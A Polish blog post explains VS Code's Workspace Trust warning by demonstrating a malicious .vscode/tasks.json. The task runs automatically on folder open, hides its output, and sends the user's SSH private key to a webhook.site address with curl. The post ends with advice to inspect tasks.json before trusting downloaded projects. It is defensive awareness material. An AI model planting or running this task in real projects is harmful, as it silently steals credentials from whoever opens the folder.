Visual Studio Code posiada funkcję Workspace Trust. Ale po co ona jest?
Opublikowano 18.04.2023 08:45
Gdy otwierasz nowy projekt/folder w Visual Studio Code - program wyświetla Ci specjalne ostrzeżenie. Ale czy wiesz dlaczego?
TL;DR: jeśli pobierzesz i otworzysz złośliwy projekt a następnie wciśniesz niebieski przycisk Yes, I Trust
- potencjalny atakujący może wykonać dowolny skrypt/program na Twoim komputerze. Czyli na przykład:
Aby Ci to zademonstrować zasymulujemy kradzież kluczy SSH bez Twojej wiedzy. Do dzieła!
PS. Tylko nie wysyłaj swojego klucza prywatnego!
Projekt w Visual Studio Code może posiadać specjalny plik tasks.json
, który umieszcza się w katalogu .vscode
. W ten sposób definiuje się zadania do wykonania.
Przykład: w pliku run_test.sh
umieszczasz kod odpowiedzialny za testowanie Twojej aplikacji. Teraz dodajesz odpowiedni wpis do pliku tasks.json
:
{
"version": "2.0.0",
"tasks": [
{
"label": "Uruchom testy",
"type": "shell",
"group": "test",
"command": "./run_test.sh",
}
]
}
Takie zadanie możemy uruchomić z Command Palette (Shift + Command/Ctrl + P) na dwa sposoby:
Wynik wyświetla się nam w oknie terminala.
Niestety, w taki sam sposób możemy stworzyć złośliwe zadanie. Do kradzieży kluczy SSH wykorzystamy:
Całość nie jest skomplikowana. Zakładamy, że klucz użytkownika znajduje się w pliku /Users/kacper/.ssh/id_rsa
. Curl pozwala na wysyłkę plików, jeśli przed ścieżką do pliku dodamy znak @.
Na stronie webhook.site generowany jest unikalny adres URL. Wystarczy go skopiować i wkleić do komendy. Gdy tylko dane zostaną wysłane pod ten adres - pojawią się w menu po lewej stronie.
Nasz task posiada dwa nowe elementy:
"runOn": "folderOpen"
"presentation": {"reveal": "never"}
{
"version": "2.0.0",
"tasks": [
{
"label": "Uruchom testy",
"type": "shell",
"group": "test",
"command": "curl -d @/Users/kacper/.ssh/id_rsa https://webhook.site/tutaj-twoj-identyfikator",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "never",
"panel": "new",
}
}
]
}
Jeżeli użytkownik otworzy nasz folder w Visual Studio Code i kliknie przycisk Yes, I trust the authors
- złośliwe zadanie wykona się automatycznie i prześle zawartość pliku do atakującego. Sprawdź sam! Odtworzenie tego ćwiczenia nie powinno Ci zająć więcej niż 5 minut.
W 2021 Microsoft opisał atak na badaczy bezpieczeństwa.
Podziel się tym materiałem w swojej pracy. Sprawdź, czy Twoi koledzy/koleżanki o tym wiedzą.
.vscode/tasks.json
w poszukiwaniu "interesujących" zadań - zanim klikniesz "Yes, I trust the authors" w projekcie pobranym z Internetu.